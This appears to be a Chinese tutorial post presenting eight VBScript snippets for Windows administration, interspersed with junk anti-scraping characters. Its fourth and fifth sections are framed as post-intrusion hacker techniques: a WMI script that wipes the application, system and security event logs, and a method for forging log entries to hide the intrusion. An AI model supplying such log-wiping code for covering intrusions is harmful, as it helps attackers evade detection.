VBS 脚本的 八则巧妙应用
VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows 2000下,还可用WSH来访问Windows NT活动目录服务。8 K, H1 Z5 {0 O
用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。
" _0 |8 i# Z+ C 一、给注册表编辑器解锁: I: {# Q3 Y! P0 `9 o6 j
用记事本编辑如下内容:
; T3 t( N& j' ^* x; ?( GDIM WSH
8 A8 h y0 x: _1 _/ ?) |; YSET WSH=WS C R I P T.CreateObject("WS C R I P T.SHELL") '击活WScript.Shell对象, ^* j2 M0 y. t. Z; v8 r1 Z
WSH.POPUP("解锁注册表编辑器!")
' @5 w1 e7 ~: u* {" F'显示弹出信息“解锁注册表编辑器!”4 t1 J, y# I+ G8 @9 F
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion
8 P# ?& }% g+ ]+ A9 _! H7 mPolicies\System\DisableRegistryTools",0,"REG_DWORD"
( t% x3 w% V3 F' e4 U' M/ f'给注册表编辑器解锁/ L0 ~8 [) {9 b6 J; O
WSH.POPUP("注册表解锁成功!")
8 b' |, M2 `8 L9 b) N'显示弹出信息“注册表解锁成功!”
; Y: d$ s. K, d( H# y保存为以.vbs为扩展名的文件,使用时双击即可。, ^/ @" {0 n- Z8 J% i
二、关闭Win NT/2000的默认共享' K3 D0 o1 ]! @% O* c* d* E
用记事本编辑如下内容: ; b6 k6 ]: a, u, k3 v+ D$ R) Y! E/ E! s
Dim WSHShell'定义变量" n6 d- ?0 q; Q* O; Z; U
set WSHShell=CreateObject("WScript.shell") '创建一个能与操作系统沟通的对象WSHShell/ P3 n2 ]. \; Y, S8 k# i; P
Dim fso,dc
3 H5 m ^; y3 QSet fso=CreateObject("Scripting.FileSystemObject")'创建文件系统对象 . E+ @5 y( C. y+ B5 L4 {
set dc=fso.Drives '获取所有驱动器盘符. M2 Y/ x2 J. g9 B3 X; _! Q& J% Q
For Each d in dc ) x$ Z) `9 `9 ?& y
Dim str
8 [( @8 [) a% RWSHShell.run("net share"&d.driveletter &"$ /delete")'关闭所有驱动器的隐藏共享
5 S* H3 d* B# \next 9 x4 ^& X3 ?; `4 c$ _
WSHShell.run("net share admin$ /delete")
: T4 B$ i! H0 b# J4 v, CWSHShell.run("net share ipc$ /delete")'关闭admin$和ipc$管道共享9 _' u- z& H3 N' v+ O4 F
现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了% l5 y) Q4 |# r8 `4 y* Y- t6 Y) z
三、显示本机IP地址8 m( |3 q M! O6 |) J: p+ [
有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容:( u3 _3 Q3 b( Y7 }" ?8 @6 g
Dim WS
0 V2 ?5 k+ s7 E, E0 n' X ~3 kSet WS=CreateObject("MSWinsock.Winsock")
$ W6 W y) k1 M3 nIPAddress=WS.LocalIP, r0 u6 b8 V- B
MsgBox "Local IP=" & IPAddress
2 o/ Y) U8 ]- w5 A) r+ n$ s; R 将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。
8 F0 Q0 q5 ]% { 四、利用脚本编程删除曰志: a6 k1 [, c) _4 i$ K
入侵系统成功后黑客做的第一件事便是清除曰志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除曰志不是一件困难的事,由于曰志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除曰志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除曰志,而且非常的简单方便。源代码如下:- u/ g8 x" g) i. z0 ^) v4 @6 ]
strComputer= "."
% } N! i/ b6 R, ]9 B9 c4 E F+ t5 E" ESet objWMIService = GetObject("winmgmts:" _
' F6 i9 T8 |' z; d% s g& "{impersonationLevel=impersonate,(Backup)}!\\" & _
: k' z+ T% R# E4 N: e$ @7 CstrComputer & "\root\cimv2")
$ s+ c( Z7 W0 N+ ?( [) R$ [dim mylogs(3); ^: T1 o$ Y! q7 n
mylogs(1)="application"
0 J0 J6 H* M) G: s0 a# h, ]/ }mylogs(2)="system"
3 m. O- U h$ ]/ K) q* Zmylogs(3)="security"$ ?+ q8 c6 w8 H6 M
for Each logs in mylogs8 D, T2 A' M: o% Q7 e- s
Set colLogFiles=objWMIService.ExecQuery _ T+ h7 Q& y$ T) _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
/ I d# \) \5 Y3 ^( ]For Each objLogfile in colLogFiles
# e" z: k8 ~0 m8 H& oobjLogFile.ClearEventLog()
1 G% e) `1 h* u7 c4 @) BNext+ S* C* O h* j8 x5 Z+ S
next
# n4 E) [/ v. F6 l2 Q' ^+ L1 g0 ^4 K 将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除曰志。建立一个数组,application,security,system,如果还有其他曰志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个曰志。
; @' `$ C5 u( G$ y4 ]: k 五、利用脚本伪造曰志, o/ |4 t3 e$ U$ v
删除曰志后,任何一个有头脑的管理员面对空空的曰志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造曰志。利用脚本编程中的eventlog方法创造曰志非常简单,请看下面的代码:
0 X b+ |8 F+ V. ^/ \7 Jset ws=wscript.createobject("Wscript.shell")( T6 U" p! m0 ]- C. f3 L
ws.logevent 0 ,"write log success" '创建一个成功执行曰志
6 @3 [3 b$ ^, v2 L8 a 将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为曰志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为曰志描述。利用这种方法写的曰志有一个缺点,即只能写到应用程序曰志,而且曰志来源只能为WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。: q+ m ~( T B0 h
六、禁用开始菜单选项
; O. O* l- @9 H: _$ m: k, h% M 用记事本编辑如下内容:) Y3 z$ d% ^$ o/ o- r
Dim ChangeStartMenu
- ]( h2 f3 ^7 sSet ChangeStartMenu=WScript.CreateObject("WScript.Shell") ; G' C3 S7 x# K/ o+ `( d1 K0 b5 _
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"
/ a g; v! q" m4 w' x7 L, zType_Name="REG_DWORD"
& E9 s6 v6 m3 qKey_Data=1
$ f# v8 P K. v8 W2 l 6 ]* T/ g) C8 x: ?& Z5 [ Q0 N+ c; \
StartMenu_Run="NoRun"
! j6 t: K+ D% x" n% C' n4 C% uStartMenu_Find="NoFind" 2 h6 ^2 [1 G1 O/ t9 F
StartMenu_Close="NoClose"
% K4 j. \+ w( d! {# Q( v 2 a- y) o, D- u) [7 ~. V6 n! j
Sub Change(Argument) ?$ A5 A" l1 k/ Q
ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name $ i8 l! V8 Y8 S: s9 P
MsgBox("Success!") 2 |- g0 m- X2 y* Q! G3 k2 n
End Sub & h% @' a5 H- l! y; z
3 t0 ~5 r% f5 W2 ZCall Change(StartMenu_Run) '禁用“开始”菜单中的“运行”功能
1 T! S- _6 J+ U6 W$ h9 q5 F; F- wCall Change(StartMenu_Find) '禁用“开始”菜单中的“查找”功能
2 F7 A, k, E8 |3 F3 M/ N) cCall Change(StartMenu_Close) '禁用“开始”菜单中的“关闭系统”功能/ _. F7 i7 V& E( B
将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。
3 n( J9 A7 C, x, B3 ]5 F! T5 C 七、执行外部程序& x, y( H7 q' c2 J8 I
用记事本编辑如下内容:- _* m; K6 ]0 ` }# P
DIM objShell& \1 V2 D+ Z; n5 M$ ?
set objShell=wscript.createObject("wscript.shell")
! I9 N9 Q8 h9 r/ e1 ?/ T! FiReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE); B- Q% I4 o; S' F2 Q4 I2 W' d
保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。$ Y, O6 `" `7 j6 B+ y& `
八、重新启动指定的IIS服务
" x) x! _! L1 t; q3 R z' V 用记事本编辑如下内容:* M/ ^7 o: s \6 A9 a
Const ADS_SERVICE_STOPPED = 1! F8 \" b9 A/ c, V5 Z
Set objComputer = GetObject("WinNT://MYCOMPUTER,computer")5 q3 B `0 x0 y! C) `5 ]7 F
Set objService = objComputer.GetObject("Service","MYSERVICE")0 u+ T7 s( L7 I2 u+ L0 K4 @+ q
If (objService.Status = ADS_SERVICE_STOPPED) Then) C. c, E- b% _/ S7 |! P, t
objService.Start3 ~* n4 t% L; x: p6 x
End If0 `$ F5 l8 ^( U' p [3 t) y
将它以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行:cscript c:\startsvc.vbs。运行后,经你指定的IIS服务项将被重新开启。* b6 B! S/ i y) r
最后,我们再说说开篇时提到的VBS脚本病毒的防范方法。VBS病毒的执行离不开WSH,在带给人们便利的同时,WSH也为病毒的传播留下可乘之机。所以要想防范VBS病毒,可以选择将WSH卸载,只要打开控制面板,找到“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“Windows Scripting Host”一项的“√”去掉,然后连续点两次“确定”就可以将WSH卸载。或者,你也可以点击“我的电脑”→“查看”→“文件夹选项”,在弹出的对话框中,点击“文件类型”,然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,都可以达到防范VBS脚本病毒的目的。